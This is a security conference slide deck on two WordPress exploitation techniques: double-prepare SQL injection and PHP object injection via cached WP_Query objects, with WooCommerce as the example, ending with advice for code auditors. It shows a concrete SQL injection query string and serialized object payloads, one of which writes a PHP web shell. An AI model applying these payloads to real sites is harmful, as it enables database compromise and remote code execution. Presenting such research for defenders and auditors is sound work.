WordPress exploitation (Credits: Slavco Mihajloski and Karim El Ouerghemmi)

OWASP
AppSec Europe
London 2nd-6th July 2018

Prepare(): Introducing novel Exploitation Techniques in WordPress

Motivation

- WordPress: open source content management system
- 30% of webhosts run WordPress to create websites blogs and web apps!
- Written in PHP: very flexible but prone to many software vulnerabilities
- Open bugbounty program on Hackerone => hardened core!
- How to exploit?

OWASP
AppSec Europe
London 2nd-6th July 2018

Prepare(): Introducing novel Exploitation Techniques in WordPress

Extensibility

- WP core is customized & extended by many great and powerful plugins
- Plugins often bring nasty bugs nullifying security established by bug bounty program
- We will examine design flaws in WP core that can be exploited through many plugins

OWASP
AppSec **Europe**
London 2nd-6th July 2018

Prepare(): Introducing novel Exploitation Techniques in WordPress

Background

OWASP
AppSec Europe
London 2nd-6th July 2018

Prepare(): Introducing novel Exploitation Techniques in WordPress

Security Defense

1. CSRF Tokens generated uniquely for each action
2. Context-dependant sanitizers `esc_html()`, `esc_attr()`, `esc_js()`,... prevent most XSS (if used)
3. Escaping of quotes (custom *Magic Quotes*: ' " \ => \' \" \\)
`$wpdb->query("SELECT ... WHERE name='$_GET[0]' ");` SQLi not exploitable!
4. Custom implementation of Prepared Statements/DBAL

OWASP
AppSec Europe
London 2nd-6th July 2018

Prepare(): Introducing novel Exploitation Techniques in WordPress

Custom Prepared Statements

PHP extension **PDO** offers well-tested "pretty-secure" Prepared Statements

`PDO::prepare()`, `PDO::bind()`, `PDO::execute()`

Why implement your own?

=> Legacy code can't be removed: backwards-compatibility between plugins and core!

=> Switching to PDO would require to rewrite all plugins!

OWASP
AppSec Europe
London 2nd-6th July 2018

Prepare(): Introducing novel Exploitation Techniques in WordPress

Custom Prepared Statements

Very similar to *Prepared Statements*! Simple use-case:

```
$query = $wpdb->prepare( "SELECT * FROM table WHERE column1 = %s", $_GET['c1'] );  
$wpdb->query( $query );
```

prepare() sanitizes potentially malicious user-input, embeds it in single quotes for placeholders in a SQL query. User-input **1'OR'1'='1** would result in a *harmless* SQL query:

```
SELECT * FROM table WHERE column1 = '1\'OR\'1\'=\'1'
```

OWASP
AppSec Europe

Prepare(): Introducing novel Exploitation Techniques in WordPress

Exploitation Technique #1

Prepare(): Introducing novel Exploitation Techniques in WordPress

Double Prepare

WordPress earlier than 4.8.3 was vulnerable to a SQL injection located in this very commonly used code construct known as „*double preparing*“.

```
$query = $wpdb->prepare( "SELECT * FROM table WHERE column1 = %s", $_GET['c1'] );  
$query = $wpdb->prepare( $query . " AND column2 = %s", $_GET['c2'] );  
  
$wpdb->query( $query );
```

Prepare(): Introducing novel Exploitation Techniques in WordPress

Double Prepare

WordPress earlier than 4.8.3 was vulnerable to a SQL injection located in this very commonly used code construct known as „*double preparing*“.

```
$query = $wpdb->prepare( "SELECT * FROM table WHERE column1 = %s", $_GET['c1'] );  
$query = $wpdb->prepare( $query . " AND column2 = %s", $_GET['c2'] );  
  
$wpdb->query( $query );
```

The SQL Injection occurs *when user-input contains placeholders!*

```
script.php?c1=%s &c2[]=OR 1=1 -- x&c2[]=abc
```

Prepare(): Introducing novel Exploitation Techniques in WordPress

Double Prepare

WordPress earlier than 4.8.3 was vulnerable to a SQL injection located in this very commonly used code construct known as „*double preparing*“.

```
$query = $wpdb->prepare( "SELECT * FROM table WHERE column1 = %s", $_GET['c1'] );  
$query = $wpdb->prepare( $query . " AND column2 = %s", $_GET['c2'] );  
  
$wpdb->query( $query );
```

The SQL Injection occurs *when user-input contains placeholders!*

```
script.php?c1=%s &c2[]=OR 1=1 -- x&c2[]=abc
```

```
Prepare() #1: SELECT * FROM table WHERE column1 = ' %s '
```

Prepare(): Introducing novel Exploitation Techniques in WordPress

Double Prepare

WordPress earlier than 4.8.3 was vulnerable to a SQL injection located in this very commonly used code construct known as „*double preparing*“.

```
$query = $wpdb->prepare( "SELECT * FROM table WHERE column1 = %s", $_GET['c1'] );  
$query = $wpdb->prepare( $query . " AND column2 = %s", $_GET['c2'] );  
  
$wpdb->query( $query );
```

The SQL Injection occurs *when user-input contains placeholders!*

```
script.php?c1=%s &c2[]=OR 1=1 -- x&c2[]=abc
```

```
Prepare() #1: SELECT * FROM table WHERE column1 = ' %s ' AND column2 = %s
```

Prepare(): Introducing novel Exploitation Techniques in WordPress

Double Prepare

WordPress earlier than 4.8.3 was vulnerable to a SQL injection located in this very commonly used code construct known as „*double preparing*“.

```
$query = $wpdb->prepare( "SELECT * FROM table WHERE column1 = %s", $_GET['c1'] );  
$query = $wpdb->prepare( $query . " AND column2 = %s", $_GET['c2'] );  
  
$wpdb->query( $query );
```

The SQL Injection occurs *when user-input contains placeholders!*

```
script.php?c1=%s &c2[]=OR 1=1 -- x&c2[]=abc
```

Prepare() #1: SELECT * FROM table WHERE column1 = ' %s ' AND column2 = %s

Prepare() #2: SELECT * FROM table WHERE column1 = ' 'OR 1=1 -- x' ' AND column2 = 'abc';

Prepare(): Introducing novel Exploitation Techniques in WordPress

Patch

To mitigate the SQL injection *WordPress released a fix for prepare(), which would replace all placeholders in user-input with a unique secret 66-character string* before returning from prepare.

```
function prepare($query, $args)
{
    if(is_array($args[0])) $args = $args[0];
    $query = preg_replace( '/%s/', ""'%s'", $query );
    array_walk($args, array( $this, 'esc_sql' ) );
    $query = vsprintf($query, $args);
    return str_replace('%', $this->placeholder_escape(), $query);
}
function query($query)
{
    $query=str_replace($this->placeholder_escape(), '%', $query);
    // send $query to database...
}
```

Prepare(): Introducing novel Exploitation Techniques in WordPress

Impact of Patch

With the patch applied all percent signs `%` in our exploit are effectively replaced with *unique secret 66-character string*.

```
$query = $wpdb->prepare( "SELECT * FROM table WHERE column1 = %s", $_GET['c1'] );  
$query = $wpdb->prepare( $query . " AND column2 = %s", $_GET['c2'] );  
  
$wpdb->query( $query );
```

User-input: `script.php?c1= %s &c2[]=abc`

Prepare() #1: `SELECT * FROM table WHERE column1 = ' {13f...0d23}s '`

Prepare() #2: `SELECT * FROM table WHERE column1 = ' {13f...0d23}s ' AND column2 = 'abc';`

Query(): `SELECT * FROM table WHERE column1 = ' %s ' AND column2 = 'abc';`

Prepare(): Introducing novel Exploitation Techniques in WordPress

=>Exploitation Technique #2

Prepare(): Introducing novel Exploitation Techniques in WordPress

Background: The WP_Query object

The WP_Query object retrieves wordpress posts from the database which match arguments of constructor

```
$query_results=new WP_Query( 'cat=5&post_meta_key=thumbnail' );
```

OWASP
AppSec Europe
London 2nd-6th July 2018

Prepare(): Introducing novel Exploitation Techniques in WordPress

Background: The WordPress Codex

WordPress recommends to cache the results of slow database queries *in the database temporarily*. Excerpt from the **official** WordPress Codex manual:

```
if(false === ($query_results = get_transient('query_results'))) {           // cache miss?
    $query_results=new WP_Query('cat=5&order=random&tag=tech&post_meta_key=thumbnail');
    set_transient( 'query_results', $query_results, 12 * HOUR_IN_SECONDS ); // set cache
}
```

To improve performance the result of the slow database query is cached and omitted in the next run.

However, how does the `set_transient()` stores objects in the database?

OWASP
AppSec Europe
London 2nd-6th July 2018

Prepare(): Introducing novel Exploitation Techniques in WordPress

set_transient() / add_option()

Our WP_Query object is stored in \$value

```
function set_transient( $transient, $value, $expiration = 0)) {  
    $result = add_option( $transient_option, $value, '', $autoload );  
}  
  
function add_option( $option, $value = '', $deprecated = '', $autoload = 'yes' )) {  
    $serialized_value = maybe_serialize( $value );  
    $result = $wpdb->query($wpdb->prepare( "INSERT INTO `{$wpdb->options}` (...)  
VALUES (%s,%s,%s) ...", ..., $serialized_value, ...));  
}
```

Prepare(): Introducing novel Exploitation Techniques in WordPress

Recap: Serialization in PHP

`serialize()` translates *variable content*(strings, arrays, objects,...) to a *readable string representation*

<code>\$var</code>	<code>serialize(\$var)</code>
Integer: <code>\$var = 1;</code>	<code>i:1;</code>
String: <code>\$var = 'hello0WASP';</code>	<code>s:10:"hello0WASP";</code>
Array: <code>\$var = array(0=>21,1=>22,23);</code>	<code>a:3:{i:0;i:21;i:1;i:22;i:3;i:23;}</code>
Object: <code>\$var=new stdClass();</code> <code>\$var.a="b";</code>	<code>0:8:"stdClass":1:{s:1:"a";s:1:"b";}</code>

`unserialize()` restores the variable-contents given its *serialized string representation*.

OWASP
AppSec Europe
London 2nd-6th July 2018

Prepare(): Introducing novel Exploitation Techniques in WordPress

Recap: PHP Object Injections

unsanitized user-input reaches `unserialize()` => **PHP Object injection vulnerability which can cause RCE**

```
class LogHandler {  
    public $file;  
    function __destruct() {  
        file_put_contents($this->file, "Closing ".$this->file, FILE_APPEND);  
    }  
}  
  
unserialize($_GET["p"]); // 0:10:"LogHandler":1:{s:4:"file";s:19:"<?=$_GET[0]?>.php"}
```

„Magic method“ `__destruct()` is automatically called if a `LogHandler` object is removed from memory

Prepare(): Introducing novel Exploitation Techniques in WordPress

Technique 2: Example WooCommerce

„WooCommerce“: one of the most popular WordPress plugins with **2.3 million** installations
Affected by exploitation technique 2 by example, leads to authenticated RCE in this case

The WooCommerce products-shortcode inserts a pretty product-list to a post
Attributes can be passed to it: **[products category="toasters"]**

OWASP
AppSec Europe
London 2nd-6th July 2018

Prepare(): Introducing novel Exploitation Techniques in WordPress

Following the Codex: WooCommerce

Implementation of products-shortcode as recommended by the WordPress Codex!

```
protected function get_products() {  
    $transient_name = ...;  
    $products      = get_transient( $transient_name );  
    if ( false === $products || ! is_a( $products, 'WP_Query' ) ) {  
        $products = new WP_Query( $this->query_args );  
        set_transient( $transient_name, $products, DAY_IN_SECONDS * 30 );  
    }  
    return $products;  
}
```

User-input via shortcode

WordPress Codex code construct

Manipulation of serialized representation

O:8:"WP_Query":1:{s:3:"sql";s:100:"SELECT ... sku='% '";...;s:7:"content";s:11:"somecontent";}

Diagram illustrating a manipulation of the serialized representation of a WP_Query object. The object is represented as a PHP serialized array. The value for the 'sql' key is highlighted in red and labeled '100'. A bracket indicates that the entire object structure is 100 bytes long. A red '≠' symbol and the number '35' are shown above the 'sql' value, indicating a comparison or manipulation of its length (35 bytes) against the total object size (100 bytes).

Prepare(): Introducing novel Exploitation Techniques in WordPress

Manipulation of serialized representation

O:8:"WP_Query":1:{s:3:"sql";s:100:"SELECT ... sku='% '";...;s:7:"content";s:11:"somecontent";}

Diagram illustrating the manipulation of the serialized representation of a WP_Query object. The object is represented as a PHP serialized array. The value for the 'sql' key is highlighted in red and labeled with a red '≠' and the number 35, indicating a modification. The value for the 'content' key is highlighted in orange and labeled with the number 100, indicating its original length. A bracket under the 'content' value indicates its original length of 100 characters.

Prepare(): Introducing novel Exploitation Techniques in WordPress

Manipulation of serialized representation

`O:8:"WP_Query":1:{s:3:"sql";s:100:"SELECT ... sku='% '";...;s:7:"content";s:11:"some";i:0;O:8:"EvilClass":0:{i:1;s:0:"";};}`

Diagram illustrating the manipulation of the serialized representation of a WP_Query object. A blue arrow points to the start of the 'sql' value, which is highlighted in red. A red '≠' symbol is placed above the arrow. A bracket labeled '35' spans the length of the 'sql' value. Another bracket labeled '100' spans the length of the 'content' value, which is highlighted in orange.

Prepare(): Introducing novel Exploitation Techniques in WordPress

Manipulation of serialized representation

`O:8:"WP_Query":1:{s:3:"sql";s:100:"SELECT ... sku='% '";...;s:7:"content";s:11:"some";i:0;O:8:"EvilClass":0:{i:1;s:0:"";}}`

Diagram illustrating the manipulation of the serialized representation of a PHP object. A blue arrow points from the `s:100` value to the `35` character position, marked with a red `≠` symbol. A bracket below the `SELECT ... sku='% ' " ; ... ;s:7:"content";s:11:"some";i:0;O:8:"EvilClass":0:{i:1;s:0:"";}` sequence is labeled `100`.

PHP Object Injection!

OWASP
AppSec **Europe**
London 2nd-6th July 2018

Prepare(): Introducing novel Exploitation Techniques in WordPress

Exploit Demo

OWASP
AppSec Europe
London 2nd-6th July 2018

Prepare(): Introducing novel Exploitation Techniques in WordPress

Closing Words

- Unpatched design flaws in WP core
- Lead to exploit techniques against plugins
- In general: Avoid unserialize(), minimize plugin amount
- Code auditors:
 - Check for WP_Query caching
 - Check for double prepare
 - Check for modified serialized data

Prepare(): Introducing novel Exploitation Techniques in WordPress
